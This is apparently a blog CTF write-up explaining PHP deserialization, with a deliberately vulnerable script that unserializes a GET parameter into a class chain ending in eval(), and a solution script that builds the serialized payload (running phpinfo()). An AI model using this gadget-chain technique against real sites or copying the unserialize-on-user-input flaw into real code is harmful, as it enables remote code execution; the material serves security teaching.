当前位置:网站首页>PHP Serialization: eval
PHP Serialization: eval
2022-07-31 13:08:00 【Little dragon in shandong】
题目
<?php
highlight_file(__FILE__);
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new normal();
}
function __destruct(){
$this->ClassObj->action();
}
}
class normal{
function action(){
echo "hello";
}
}
class evil{
private $data;
function action(){
eval($this->data);
}
}
unserialize($_GET['d']);
?>
解题思路:通过传入d参数,The parameter is the serialized string,Used to call magic methods__destruct,然后调用evil的action,to executeeval.
wp
生成序列化字符串:
<?php
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new evil();
}
}
class evil{
private $data = "phpinfo();";
}
$test = new lemon();
echo urlencode(serialize($test));

边栏推荐
- 【CPU设计实战】简单流水线CPU设计
- CentOS7 installation MySQL graphic detailed tutorial
- anaconda虚拟环境安装pytorch gpu版本
- WPF中TabControl动态获取当前选中的TabItem
- [RPI]树莓派监控温度及报警关机保护「建议收藏」
- ASM module in SAP Ecommerce Cloud Spartacus UI and Accelerator UI
- MATLAB | 我也做了一套绘图配色可视化模板
- NameNode (NN) 和SecondaryNameNode (2NN)工作机制
- Centos7 install mysql5.7
- 365-day challenge LeetCode1000 questions - Day 044 Maximum element in the layer and level traversal
猜你喜欢

Hard disk partition, expand disk C, no reshipment system, not heavy D dish of software full tutorial.

Centos7 install mysql5.7 steps (graphical version)

AMBA APB学习记录(AMBA 2.0)

MATLAB | 我也做了一套绘图配色可视化模板

函数递归1.0

电脑重要文件很多,如何备份比较安全?

NameNode (NN) and SecondaryNameNode (2NN) working mechanism

PyQt5 rapid development and actual combat 10.2 compound interest calculation && 10.3 refresh blog clicks

ERROR 2003 (HY000) Can‘t connect to MySQL server on ‘localhost3306‘ (10061)解决办法

ERROR 2003 (HY000) Can‘t connect to MySQL server on ‘localhost3306‘ (10061)
随机推荐
/run/NetworkManager占用空间过大
PyQt5快速开发与实战 9.7 UI层的自动化测试
vivado里那些看不懂的原语
Talk about the message display mechanism on the SAP product UI
go中select语句
CentOS7 - yum install mysql
TensorRT安装及使用教程「建议收藏」
架构实战营|模块8
SAP message TK 248 solved
基于模糊预测与扩展卡尔曼滤波的野值剔除方法
IDEA的database使用教程(使用mysql数据库)
CWE4.8 -- 2022年危害最大的25种软件安全问题
ASM外部冗余是否可以替换磁盘
PyQt5 rapid development and actual combat 10.1 Get city weather forecast
CentOS7 安装MySQL 图文详细教程
Use IN List Population in Your JDBC Application to Avoid Cursor Cache Contention Issues
求一份常见Oracle故障模拟场景
C#控件StatusStrip使用
matlab as(assert dominance)
IDEA如何运行web程序